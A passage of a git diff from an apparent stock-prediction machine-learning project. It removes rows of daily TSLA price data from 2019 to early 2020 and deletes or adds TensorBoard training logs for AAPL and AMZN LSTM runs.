-2019-04-02,288.29998779296875,289.44000244140625,283.8800048828125,285.8800048828125,285.8800048828125,5478900,TSLA
-2019-04-03,287.32000732421875,296.1700134277344,287.1700134277344,291.80999755859375,291.80999755859375,7929900,TSLA
-2019-04-04,261.8900146484375,271.20001220703125,260.5899963378906,267.7799987792969,267.7799987792969,23720700,TSLA
-2019-04-05,269.8599853515625,276.1000061035156,266.1099853515625,274.9599914550781,274.9599914550781,13038300,TSLA
-2019-04-08,277.69000244140625,281.1600036621094,270.44000244140625,273.20001220703125,273.20001220703125,10410400,TSLA
-2019-04-09,271.6499938964844,275.0,269.6099853515625,272.30999755859375,272.30999755859375,5904000,TSLA
-2019-04-10,276.739990234375,278.3800048828125,272.8900146484375,276.05999755859375,276.05999755859375,7061300,TSLA
-2019-04-11,268.29998779296875,270.5,265.6000061035156,268.4200134277344,268.4200134277344,9835900,TSLA
-2019-04-12,270.2200012207031,271.95001220703125,266.8299865722656,267.70001220703125,267.70001220703125,6746000,TSLA
-2019-04-15,268.6300048828125,268.8800048828125,258.6300048828125,266.3800048828125,266.3800048828125,10038600,TSLA
-2019-04-16,265.75,275.0,264.7200012207031,273.3599853515625,273.3599853515625,7272900,TSLA
-2019-04-17,274.75,274.7900085449219,268.5400085449219,271.2300109863281,271.2300109863281,5126500,TSLA
-2019-04-18,271.2300109863281,274.8399963378906,269.75,273.260009765625,273.260009765625,5876300,TSLA
-2019-04-22,269.0,269.67999267578125,262.4800109863281,262.75,262.75,12147100,TSLA
-2019-04-23,260.1499938964844,265.6000061035156,255.75,263.8999938964844,263.8999938964844,10943900,TSLA
-2019-04-24,263.8500061035156,265.32000732421875,258.0,258.6600036621094,258.6600036621094,10727500,TSLA
-2019-04-25,255.0,259.0,246.07000732421875,247.6300048828125,247.6300048828125,21849400,TSLA
-2019-04-26,246.5,246.67999267578125,231.1300048828125,235.13999938964844,235.13999938964844,22360700,TSLA
-2019-04-29,235.86000061035156,243.97999572753906,232.1699981689453,241.47000122070312,241.47000122070312,16714500,TSLA
-2019-04-30,242.05999755859375,244.2100067138672,237.0,238.69000244140625,238.69000244140625,9464600,TSLA
-2019-05-01,238.85000610351562,240.0,231.5,234.00999450683594,234.00999450683594,10704400,TSLA
-2019-05-02,245.52000427246094,247.1300048828125,237.72000122070312,244.10000610351562,244.10000610351562,18159300,TSLA
-2019-05-03,243.86000061035156,256.6099853515625,243.49000549316406,255.02999877929688,255.02999877929688,23706800,TSLA
-2019-05-06,250.02000427246094,258.3500061035156,248.5,255.33999633789062,255.33999633789062,10833900,TSLA
-2019-05-07,256.79998779296875,257.2099914550781,245.10000610351562,247.05999755859375,247.05999755859375,10131400,TSLA
-2019-05-08,246.94000244140625,250.60000610351562,244.1999969482422,244.83999633789062,244.83999633789062,6176400,TSLA
-2019-05-09,242.0,243.67999267578125,236.94000244140625,241.97999572753906,241.97999572753906,6711400,TSLA
-2019-05-10,239.75,241.99000549316406,236.02000427246094,239.52000427246094,239.52000427246094,7008300,TSLA
-2019-05-13,232.00999450683594,232.47000122070312,224.5,227.00999450683594,227.00999450683594,10834800,TSLA
-2019-05-14,229.3000030517578,234.5,228.0,232.30999755859375,232.30999755859375,7252400,TSLA
-2019-05-15,229.32000732421875,232.44000244140625,225.25,231.9499969482422,231.9499969482422,7296000,TSLA
-2019-05-16,229.49000549316406,231.0,226.5,228.3300018310547,228.3300018310547,7483300,TSLA
-2019-05-17,221.9600067138672,222.24000549316406,208.9199981689453,211.02999877929688,211.02999877929688,17786700,TSLA
-2019-05-20,202.8000030517578,206.0,195.25,205.36000061035156,205.36000061035156,20526200,TSLA
-2019-05-21,197.75999450683594,207.39999389648438,196.0399932861328,205.0800018310547,205.0800018310547,18003900,TSLA
-2019-05-22,199.10000610351562,203.94000244140625,191.77999877929688,192.72999572753906,192.72999572753906,18685200,TSLA
-2019-05-23,194.33999633789062,199.47000122070312,186.22000122070312,195.49000549316406,195.49000549316406,26547100,TSLA
-2019-05-24,199.8300018310547,199.97999572753906,188.75,190.6300048828125,190.6300048828125,14136600,TSLA
-2019-05-28,191.1999969482422,195.0,187.85000610351562,188.6999969482422,188.6999969482422,10312900,TSLA
-2019-05-29,187.10000610351562,192.38999938964844,185.0399932861328,189.86000061035156,189.86000061035156,11968600,TSLA
-2019-05-30,188.75,192.25999450683594,187.02000427246094,188.22000122070312,188.22000122070312,7926500,TSLA
-2019-05-31,185.10000610351562,189.9199981689453,184.10000610351562,185.16000366210938,185.16000366210938,10406700,TSLA
-2019-06-03,185.50999450683594,186.67999267578125,176.99000549316406,178.97000122070312,178.97000122070312,13064400,TSLA
-2019-06-04,181.10000610351562,193.97999572753906,179.61000061035156,193.60000610351562,193.60000610351562,13807500,TSLA
-2019-06-05,198.67999267578125,201.27999877929688,191.85000610351562,196.58999633789062,196.58999633789062,13510800,TSLA
-2019-06-06,204.44000244140625,211.0,201.8000030517578,205.9499969482422,205.9499969482422,20242200,TSLA
-2019-06-07,205.0,210.83999633789062,203.5,204.5,204.5,16003500,TSLA
-2019-06-10,210.25,216.94000244140625,209.00999450683594,212.8800048828125,212.8800048828125,10585000,TSLA
-2019-06-11,219.13999938964844,220.89999389648438,213.5,217.10000610351562,217.10000610351562,11653500,TSLA
-2019-06-12,222.9499969482422,223.3800048828125,209.0,209.25999450683594,209.25999450683594,15186200,TSLA
-2019-06-13,210.3800048828125,214.89999389648438,207.50999450683594,213.91000366210938,213.91000366210938,8168300,TSLA
-2019-06-14,211.25,216.64999389648438,210.39999389648438,214.9199981689453,214.9199981689453,7433400,TSLA
-2019-06-17,215.47999572753906,227.0,214.27000427246094,225.02999877929688,225.02999877929688,12316800,TSLA
-2019-06-18,228.72000122070312,234.74000549316406,222.55999755859375,224.74000549316406,224.74000549316406,12715800,TSLA
-2019-06-19,225.11000061035156,227.77000427246094,221.05999755859375,226.42999267578125,226.42999267578125,6575100,TSLA
-2019-06-20,223.0,226.89999389648438,216.35000610351562,219.6199951171875,219.6199951171875,11863500,TSLA
-2019-06-21,216.22000122070312,222.17999267578125,215.5,221.86000061035156,221.86000061035156,8202100,TSLA
-2019-06-24,223.24000549316406,225.86000061035156,221.02000427246094,223.63999938964844,223.63999938964844,5750800,TSLA
-2019-06-25,224.38999938964844,225.33999633789062,219.49000549316406,219.75999450683594,219.75999450683594,6182100,TSLA
-2019-06-26,220.30999755859375,227.22999572753906,218.10000610351562,219.27000427246094,219.27000427246094,8507200,TSLA
-2019-06-27,219.4499969482422,222.89999389648438,217.35000610351562,222.83999633789062,222.83999633789062,6339700,TSLA
-2019-06-28,220.99000549316406,225.1699981689453,220.8000030517578,223.4600067138672,223.4600067138672,6851400,TSLA
-2019-07-01,230.2100067138672,233.10000610351562,226.27999877929688,227.1699981689453,227.1699981689453,8238000,TSLA
-2019-07-02,228.88999938964844,229.14999389648438,222.22000122070312,224.5500030517578,224.5500030517578,9259000,TSLA
-2019-07-03,239.38999938964844,241.57000732421875,234.50999450683594,234.89999389648438,234.89999389648438,14201100,TSLA
-2019-07-05,234.57000732421875,235.4499969482422,230.8000030517578,233.10000610351562,233.10000610351562,7065700,TSLA
-2019-07-08,231.24000549316406,232.25,228.66000366210938,230.33999633789062,230.33999633789062,5868900,TSLA
-2019-07-09,228.97000122070312,231.0,227.27999877929688,230.05999755859375,230.05999755859375,6190800,TSLA
-2019-07-10,234.14999389648438,238.94000244140625,233.13999938964844,238.9199981689453,238.9199981689453,9145700,TSLA
-2019-07-11,238.13999938964844,241.5,235.8000030517578,238.60000610351562,238.60000610351562,7514400,TSLA
-2019-07-12,239.75,245.3800048828125,239.7100067138672,245.0800018310547,245.0800018310547,9200500,TSLA
-2019-07-15,248.0,254.4199981689453,244.86000061035156,253.5,253.5,11000100,TSLA
-2019-07-16,249.3000030517578,253.52999877929688,247.92999267578125,252.3800048828125,252.3800048828125,8149000,TSLA
-2019-07-17,255.6699981689453,258.30999755859375,253.35000610351562,254.86000061035156,254.86000061035156,9764700,TSLA
-2019-07-18,255.0500030517578,255.75,251.88999938964844,253.5399932861328,253.5399932861328,4764500,TSLA
-2019-07-19,255.69000244140625,259.9599914550781,254.6199951171875,258.17999267578125,258.17999267578125,7048400,TSLA
-2019-07-22,258.75,262.1499938964844,254.19000244140625,255.67999267578125,255.67999267578125,6842400,TSLA
-2019-07-23,256.7099914550781,260.4800109863281,254.5,260.1700134277344,260.1700134277344,5023100,TSLA
-2019-07-24,259.1700134277344,266.07000732421875,258.1600036621094,264.8800048828125,264.8800048828125,11072800,TSLA
-2019-07-25,233.5,234.5,225.5500030517578,228.82000732421875,228.82000732421875,22418300,TSLA
-2019-07-26,226.9199981689453,230.25999450683594,222.25,228.0399932861328,228.0399932861328,10027700,TSLA
-2019-07-29,227.08999633789062,235.94000244140625,226.02999877929688,235.77000427246094,235.77000427246094,9273300,TSLA
-2019-07-30,232.89999389648438,243.36000061035156,232.17999267578125,242.25999450683594,242.25999450683594,8109000,TSLA
-2019-07-31,243.0,246.67999267578125,236.64999389648438,241.61000061035156,241.61000061035156,9178200,TSLA
-2019-08-01,242.64999389648438,244.50999450683594,231.77000427246094,233.85000610351562,233.85000610351562,8259500,TSLA
-2019-08-02,231.35000610351562,236.27000427246094,229.22999572753906,234.33999633789062,234.33999633789062,6136500,TSLA
-2019-08-05,229.60000610351562,231.3699951171875,225.77999877929688,228.32000732421875,228.32000732421875,7028300,TSLA
-2019-08-06,231.8800048828125,232.5,225.75,230.75,230.75,5564200,TSLA
-2019-08-07,226.5,233.57000732421875,225.8000030517578,233.4199981689453,233.4199981689453,4776500,TSLA
-2019-08-08,234.4499969482422,239.8000030517578,232.64999389648438,238.3000030517578,238.3000030517578,5274300,TSLA
-2019-08-09,236.0500030517578,238.9600067138672,233.80999755859375,235.00999450683594,235.00999450683594,3898200,TSLA
-2019-08-12,232.99000549316406,235.77000427246094,228.75,229.00999450683594,229.00999450683594,4663900,TSLA
-2019-08-13,228.80999755859375,236.0,227.5500030517578,235.0,235.0,4848100,TSLA
-2019-08-14,231.2100067138672,231.5,216.69000244140625,219.6199951171875,219.6199951171875,9562600,TSLA
-2019-08-15,220.86000061035156,221.55999755859375,211.5500030517578,215.63999938964844,215.63999938964844,8159600,TSLA
-2019-08-16,216.66000366210938,222.24000549316406,216.02000427246094,219.94000244140625,219.94000244140625,5098500,TSLA
-2019-08-19,224.2100067138672,227.8300018310547,221.6999969482422,226.8300018310547,226.8300018310547,5309600,TSLA
-2019-08-20,227.6199951171875,229.08999633789062,224.5399932861328,225.86000061035156,225.86000061035156,4125200,TSLA
-2019-08-21,222.00999450683594,223.22000122070312,217.60000610351562,220.8300018310547,220.8300018310547,7794300,TSLA
-2019-08-22,222.8000030517578,225.39999389648438,218.22000122070312,222.14999389648438,222.14999389648438,6559000,TSLA
-2019-08-23,219.97000122070312,221.1699981689453,211.0,211.39999389648438,211.39999389648438,8538600,TSLA
-2019-08-26,213.60000610351562,215.02000427246094,211.5399932861328,215.0,215.0,5051900,TSLA
-2019-08-27,215.74000549316406,218.8000030517578,212.02999877929688,214.0800018310547,214.0800018310547,5416200,TSLA
-2019-08-28,213.69000244140625,217.25,212.30999755859375,215.58999633789062,215.58999633789062,3225500,TSLA
-2019-08-29,219.0,223.39999389648438,218.0,221.7100067138672,221.7100067138672,5179500,TSLA
-2019-08-30,229.14999389648438,232.44000244140625,224.2100067138672,225.61000061035156,225.61000061035156,9320600,TSLA
-2019-09-03,224.0800018310547,228.9499969482422,223.16000366210938,225.00999450683594,225.00999450683594,5354100,TSLA
-2019-09-04,226.88999938964844,228.4600067138672,219.2100067138672,220.67999267578125,220.67999267578125,5761000,TSLA
-2019-09-05,222.5,229.8000030517578,220.85000610351562,229.5800018310547,229.5800018310547,7395300,TSLA
-2019-09-06,227.1999969482422,229.63999938964844,225.1699981689453,227.4499969482422,227.4499969482422,4189400,TSLA
-2019-09-09,230.0,233.75999450683594,229.22999572753906,231.7899932861328,231.7899932861328,4802700,TSLA
-2019-09-10,230.8000030517578,235.5399932861328,228.94000244140625,235.5399932861328,235.5399932861328,4883700,TSLA
-2019-09-11,237.3800048828125,248.1699981689453,236.0,247.10000610351562,247.10000610351562,10042800,TSLA
-2019-09-12,247.6999969482422,253.5,244.39999389648438,245.8699951171875,245.8699951171875,8581200,TSLA
-2019-09-13,246.9600067138672,248.4499969482422,244.8699951171875,245.1999969482422,245.1999969482422,5313100,TSLA
-2019-09-16,246.0,247.42999267578125,241.1699981689453,242.80999755859375,242.80999755859375,4728100,TSLA
-2019-09-17,242.47000122070312,245.60000610351562,240.3699951171875,244.7899932861328,244.7899932861328,3865400,TSLA
-2019-09-18,245.0,248.1699981689453,242.3699951171875,243.49000549316406,243.49000549316406,4170200,TSLA
-2019-09-19,246.0,247.94000244140625,244.83999633789062,246.60000610351562,246.60000610351562,4795800,TSLA
-2019-09-20,246.49000549316406,246.9499969482422,238.16000366210938,240.6199951171875,240.6199951171875,6353000,TSLA
-2019-09-23,240.0,245.17999267578125,239.22000122070312,241.22999572753906,241.22999572753906,4340200,TSLA
-2019-09-24,241.52000427246094,241.99000549316406,222.61000061035156,223.2100067138672,223.2100067138672,12891500,TSLA
-2019-09-25,224.55999755859375,228.97999572753906,218.36000061035156,228.6999969482422,228.6999969482422,9427100,TSLA
-2019-09-26,230.66000366210938,243.30999755859375,227.39999389648438,242.55999755859375,242.55999755859375,11884500,TSLA
-2019-09-27,242.1999969482422,248.7100067138672,238.72999572753906,242.1300048828125,242.1300048828125,11116400,TSLA
-2019-09-30,243.0,243.97999572753906,236.11000061035156,240.8699951171875,240.8699951171875,5879800,TSLA
-2019-10-01,241.5,245.9499969482422,239.1300048828125,244.69000244140625,244.69000244140625,6162600,TSLA
-2019-10-02,243.2899932861328,244.64999389648438,239.42999267578125,243.1300048828125,243.1300048828125,5631400,TSLA
-2019-10-03,231.86000061035156,234.47999572753906,224.27999877929688,233.02999877929688,233.02999877929688,15084500,TSLA
-2019-10-04,231.61000061035156,234.77999877929688,228.07000732421875,231.42999267578125,231.42999267578125,7995000,TSLA
-2019-10-07,229.8000030517578,238.55999755859375,228.5500030517578,237.72000122070312,237.72000122070312,8064200,TSLA
-2019-10-08,235.8699951171875,243.94000244140625,234.5,240.0500030517578,240.0500030517578,8678200,TSLA
-2019-10-09,241.32000732421875,247.3000030517578,240.64999389648438,244.52999877929688,244.52999877929688,6894400,TSLA
-2019-10-10,245.27999877929688,249.27999877929688,241.5800018310547,244.74000549316406,244.74000549316406,6283300,TSLA
-2019-10-11,247.14999389648438,251.0800018310547,246.80999755859375,247.88999938964844,247.88999938964844,8475400,TSLA
-2019-10-14,247.89999389648438,258.54998779296875,247.1300048828125,256.9599914550781,256.9599914550781,10205000,TSLA
-2019-10-15,257.70001220703125,260.0,254.1199951171875,257.8900146484375,257.8900146484375,6432800,TSLA
-2019-10-16,257.3900146484375,262.1000061035156,256.9200134277344,259.75,259.75,6684100,TSLA
-2019-10-17,262.5,264.7799987792969,260.1700134277344,261.9700012207031,261.9700012207031,4769300,TSLA
-2019-10-18,260.70001220703125,262.79998779296875,255.10000610351562,256.95001220703125,256.95001220703125,5749800,TSLA
-2019-10-21,258.3299865722656,259.5,250.17999267578125,253.5,253.5,5020300,TSLA
-2019-10-22,254.32000732421875,258.3299865722656,250.85000610351562,255.5800018310547,255.5800018310547,4600800,TSLA
-2019-10-23,254.5,256.1400146484375,251.35000610351562,254.67999267578125,254.67999267578125,5261100,TSLA
-2019-10-24,298.3699951171875,304.92999267578125,289.20001220703125,299.67999267578125,299.67999267578125,29720900,TSLA
-2019-10-25,297.7200012207031,330.0,296.1099853515625,328.1300048828125,328.1300048828125,30006100,TSLA
-2019-10-28,327.5400085449219,340.8399963378906,322.6000061035156,327.7099914550781,327.7099914550781,18870300,TSLA
-2019-10-29,319.989990234375,324.29998779296875,314.75,316.2200012207031,316.2200012207031,12684300,TSLA
-2019-10-30,313.0,318.7900085449219,309.9700012207031,315.010009765625,315.010009765625,9641800,TSLA
-2019-10-31,313.1000061035156,319.0,313.0,314.9200134277344,314.9200134277344,5067000,TSLA
-2019-11-01,316.32000732421875,316.4800109863281,309.79998779296875,313.30999755859375,313.30999755859375,6383900,TSLA
-2019-11-04,314.79998779296875,321.94000244140625,309.260009765625,317.4700012207031,317.4700012207031,8787000,TSLA
-2019-11-05,319.6199951171875,323.510009765625,316.1199951171875,317.2200012207031,317.2200012207031,6943400,TSLA
-2019-11-06,318.0,326.7200012207031,314.5,326.5799865722656,326.5799865722656,7940900,TSLA
-2019-11-07,329.1400146484375,341.5,328.0199890136719,335.5400085449219,335.5400085449219,14467300,TSLA
-2019-11-08,334.5,337.4599914550781,332.5,337.1400146484375,337.1400146484375,6069200,TSLA
-2019-11-11,343.95001220703125,349.19000244140625,342.0,345.0899963378906,345.0899963378906,9986700,TSLA
-2019-11-12,346.8999938964844,350.3699951171875,344.0400085449219,349.92999267578125,349.92999267578125,7359400,TSLA
-2019-11-13,355.0,356.3299865722656,345.17999267578125,346.1099853515625,346.1099853515625,8420100,TSLA
-2019-11-14,346.1099853515625,353.8399963378906,342.9100036621094,349.3500061035156,349.3500061035156,6464900,TSLA
-2019-11-15,350.6400146484375,352.79998779296875,348.3599853515625,352.1700134277344,352.1700134277344,4809000,TSLA
-2019-11-18,352.9200134277344,353.1499938964844,346.1000061035156,349.989990234375,349.989990234375,4400400,TSLA
-2019-11-19,351.75,359.989990234375,347.79998779296875,359.5199890136719,359.5199890136719,7724800,TSLA
-2019-11-20,360.0,361.20001220703125,349.57000732421875,352.2200012207031,352.2200012207031,6725100,TSLA
-2019-11-21,354.510009765625,360.8399963378906,354.0,354.8299865722656,354.8299865722656,6110000,TSLA
-2019-11-22,340.1600036621094,341.0,330.0,333.0400085449219,333.0400085449219,16870600,TSLA
-2019-11-25,344.32000732421875,344.57000732421875,334.4599914550781,336.3399963378906,336.3399963378906,12339500,TSLA
-2019-11-26,335.2699890136719,335.5,327.1000061035156,328.9200134277344,328.9200134277344,7947400,TSLA
-2019-11-27,331.1199951171875,333.92999267578125,328.57000732421875,331.2900085449219,331.2900085449219,5555600,TSLA
-2019-11-29,331.1099853515625,331.260009765625,327.5,329.94000244140625,329.94000244140625,2465600,TSLA
-2019-12-02,329.3999938964844,336.3800048828125,328.69000244140625,334.8699951171875,334.8699951171875,6074500,TSLA
-2019-12-03,332.6199951171875,337.9100036621094,332.19000244140625,336.20001220703125,336.20001220703125,6573700,TSLA
-2019-12-04,337.75,337.8599853515625,332.8500061035156,333.0299987792969,333.0299987792969,5533000,TSLA
-2019-12-05,332.8299865722656,334.4200134277344,327.25,330.3699951171875,330.3699951171875,3724600,TSLA
-2019-12-06,335.0,338.8599853515625,334.7699890136719,335.8900146484375,335.8900146484375,7612400,TSLA
-2019-12-09,336.5899963378906,344.45001220703125,335.0799865722656,339.5299987792969,339.5299987792969,9023100,TSLA
-2019-12-10,339.9599914550781,350.7300109863281,339.30999755859375,348.8399963378906,348.8399963378906,8828300,TSLA
-2019-12-11,351.8800048828125,357.19000244140625,351.0899963378906,352.70001220703125,352.70001220703125,6897800,TSLA
-2019-12-12,354.9200134277344,362.739990234375,353.2300109863281,359.67999267578125,359.67999267578125,7763900,TSLA
-2019-12-13,361.04998779296875,365.2099914550781,354.6400146484375,358.3900146484375,358.3900146484375,6570900,TSLA
-2019-12-16,362.54998779296875,383.6099853515625,362.5,381.5,381.5,18174200,TSLA
-2019-12-17,378.989990234375,385.5,375.8999938964844,378.989990234375,378.989990234375,8496800,TSLA
-2019-12-18,380.6300048828125,395.2200012207031,380.5799865722656,393.1499938964844,393.1499938964844,14121000,TSLA
-2019-12-19,397.32000732421875,406.8500061035156,396.5,404.0400085449219,404.0400085449219,18107100,TSLA
-2019-12-20,410.2900085449219,413.0,400.19000244140625,405.5899963378906,405.5899963378906,14752700,TSLA
-2019-12-23,411.7799987792969,422.010009765625,410.0,419.2200012207031,419.2200012207031,13319600,TSLA
-2019-12-24,418.3599853515625,425.4700012207031,412.69000244140625,425.25,425.25,8054700,TSLA
-2019-12-26,427.9100036621094,433.4800109863281,426.3500061035156,430.94000244140625,430.94000244140625,10633900,TSLA
-2019-12-27,435.0,435.30999755859375,426.1099853515625,430.3800048828125,430.3800048828125,9945700,TSLA
-2019-12-30,428.7900085449219,429.0,409.260009765625,414.70001220703125,414.70001220703125,12586400,TSLA
-2019-12-31,405.0,421.2900085449219,402.0799865722656,418.3299865722656,418.3299865722656,10285700,TSLA
-2020-01-02,424.5,430.70001220703125,421.7099914550781,430.260009765625,430.260009765625,9532100,TSLA
-2020-01-03,440.5,454.0,436.9200134277344,443.010009765625,443.010009765625,17778500,TSLA
-2020-01-06,440.4700012207031,451.55999755859375,440.0,451.5400085449219,451.5400085449219,10133000,TSLA
-2020-01-07,461.3999938964844,471.6300048828125,453.3599853515625,469.05999755859375,469.05999755859375,17882100,TSLA
-2020-01-08,473.70001220703125,475.80999755859375,468.2300109863281,473.05999755859375,473.05999755859375,5047524,TSLA
diff --git a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/train/events.out.tfevents.1578493736.DESKTOP-JCAH48A.15628.1854.v2 b/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/train/events.out.tfevents.1578493736.DESKTOP-JCAH48A.15628.1854.v2
deleted file mode 100644
index 601a63a8..00000000
Binary files a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/train/events.out.tfevents.1578493736.DESKTOP-JCAH48A.15628.1854.v2 and /dev/null differ
diff --git a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/train/events.out.tfevents.1578493742.DESKTOP-JCAH48A.profile-empty b/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/train/events.out.tfevents.1578493742.DESKTOP-JCAH48A.profile-empty
deleted file mode 100644
index 5e612ef2..00000000
Binary files a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/train/events.out.tfevents.1578493742.DESKTOP-JCAH48A.profile-empty and /dev/null differ
diff --git a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/train/plugins/profile/2020-01-08_15-29-02/local.trace b/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/train/plugins/profile/2020-01-08_15-29-02/local.trace
deleted file mode 100644
index 5a2a4183..00000000
Binary files a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/train/plugins/profile/2020-01-08_15-29-02/local.trace and /dev/null differ
diff --git a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/validation/events.out.tfevents.1578493759.DESKTOP-JCAH48A.15628.30250.v2 b/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/validation/events.out.tfevents.1578493759.DESKTOP-JCAH48A.15628.30250.v2
deleted file mode 100644
index 5568d156..00000000
Binary files a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-1-layers-3-units-256/validation/events.out.tfevents.1578493759.DESKTOP-JCAH48A.15628.30250.v2 and /dev/null differ
diff --git a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-10-layers-3-units-256/train/events.out.tfevents.1578498454.DESKTOP-JCAH48A.16656.1854.v2 b/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-10-layers-3-units-256/train/events.out.tfevents.1578498454.DESKTOP-JCAH48A.16656.1854.v2
deleted file mode 100644
index 2d1b3833..00000000
Binary files a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-10-layers-3-units-256/train/events.out.tfevents.1578498454.DESKTOP-JCAH48A.16656.1854.v2 and /dev/null differ
diff --git a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-10-layers-3-units-256/train/events.out.tfevents.1578498461.DESKTOP-JCAH48A.profile-empty b/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-10-layers-3-units-256/train/events.out.tfevents.1578498461.DESKTOP-JCAH48A.profile-empty
deleted file mode 100644
index fb635a27..00000000
Binary files a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-10-layers-3-units-256/train/events.out.tfevents.1578498461.DESKTOP-JCAH48A.profile-empty and /dev/null differ
diff --git a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-10-layers-3-units-256/train/plugins/profile/2020-01-08_16-47-41/local.trace b/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-10-layers-3-units-256/train/plugins/profile/2020-01-08_16-47-41/local.trace
deleted file mode 100644
index f1454780..00000000
Binary files a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-10-layers-3-units-256/train/plugins/profile/2020-01-08_16-47-41/local.trace and /dev/null differ
diff --git a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-10-layers-3-units-256/validation/events.out.tfevents.1578498479.DESKTOP-JCAH48A.16656.30250.v2 b/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-10-layers-3-units-256/validation/events.out.tfevents.1578498479.DESKTOP-JCAH48A.16656.30250.v2
deleted file mode 100644
index e2b5250d..00000000
Binary files a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-10-layers-3-units-256/validation/events.out.tfevents.1578498479.DESKTOP-JCAH48A.16656.30250.v2 and /dev/null differ
diff --git a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-30-layers-3-units-256/train/events.out.tfevents.1578500555.DESKTOP-JCAH48A.10452.1854.v2 b/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-30-layers-3-units-256/train/events.out.tfevents.1578500555.DESKTOP-JCAH48A.10452.1854.v2
deleted file mode 100644
index b07485e2..00000000
Binary files a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-30-layers-3-units-256/train/events.out.tfevents.1578500555.DESKTOP-JCAH48A.10452.1854.v2 and /dev/null differ
diff --git a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-30-layers-3-units-256/train/events.out.tfevents.1578500561.DESKTOP-JCAH48A.profile-empty b/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-30-layers-3-units-256/train/events.out.tfevents.1578500561.DESKTOP-JCAH48A.profile-empty
deleted file mode 100644
index 99cf5393..00000000
Binary files a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-30-layers-3-units-256/train/events.out.tfevents.1578500561.DESKTOP-JCAH48A.profile-empty and /dev/null differ
diff --git a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-30-layers-3-units-256/train/plugins/profile/2020-01-08_17-22-41/local.trace b/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-30-layers-3-units-256/train/plugins/profile/2020-01-08_17-22-41/local.trace
deleted file mode 100644
index 23454151..00000000
Binary files a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-30-layers-3-units-256/train/plugins/profile/2020-01-08_17-22-41/local.trace and /dev/null differ
diff --git a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-30-layers-3-units-256/validation/events.out.tfevents.1578500577.DESKTOP-JCAH48A.10452.30250.v2 b/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-30-layers-3-units-256/validation/events.out.tfevents.1578500577.DESKTOP-JCAH48A.10452.30250.v2
deleted file mode 100644
index a4cccf9c..00000000
Binary files a/machine-learning/stock-prediction/logs/2020-01-08_AAPL-mse-LSTM-seq-50-step-30-layers-3-units-256/validation/events.out.tfevents.1578500577.DESKTOP-JCAH48A.10452.30250.v2 and /dev/null differ
diff --git a/machine-learning/stock-prediction/logs/2020-12-11_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256/train/events.out.tfevents.1607697615.DESKTOP-JCAH48A.12800.1315.v2 b/machine-learning/stock-prediction/logs/2020-12-11_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256/train/events.out.tfevents.1607697615.DESKTOP-JCAH48A.12800.1315.v2
new file mode 100644
index 00000000..b72e498c
Binary files /dev/null and b/machine-learning/stock-prediction/logs/2020-12-11_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256/train/events.out.tfevents.1607697615.DESKTOP-JCAH48A.12800.1315.v2 differ
diff --git a/machine-learning/stock-prediction/logs/2020-12-11_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256/train/events.out.tfevents.1607697620.DESKTOP-JCAH48A.profile-empty b/machine-learning/stock-prediction/logs/2020-12-11_AMZN-sh-1-sc-1-sbd-0-huber_loss-adam-LSTM-seq-50-step-15-layers-2-units-256/train/events.out.tfevents.1607697620.DESKTOP-JCAH48A.profile-empty
new file mode 100644
index 00000000..9421a0d7
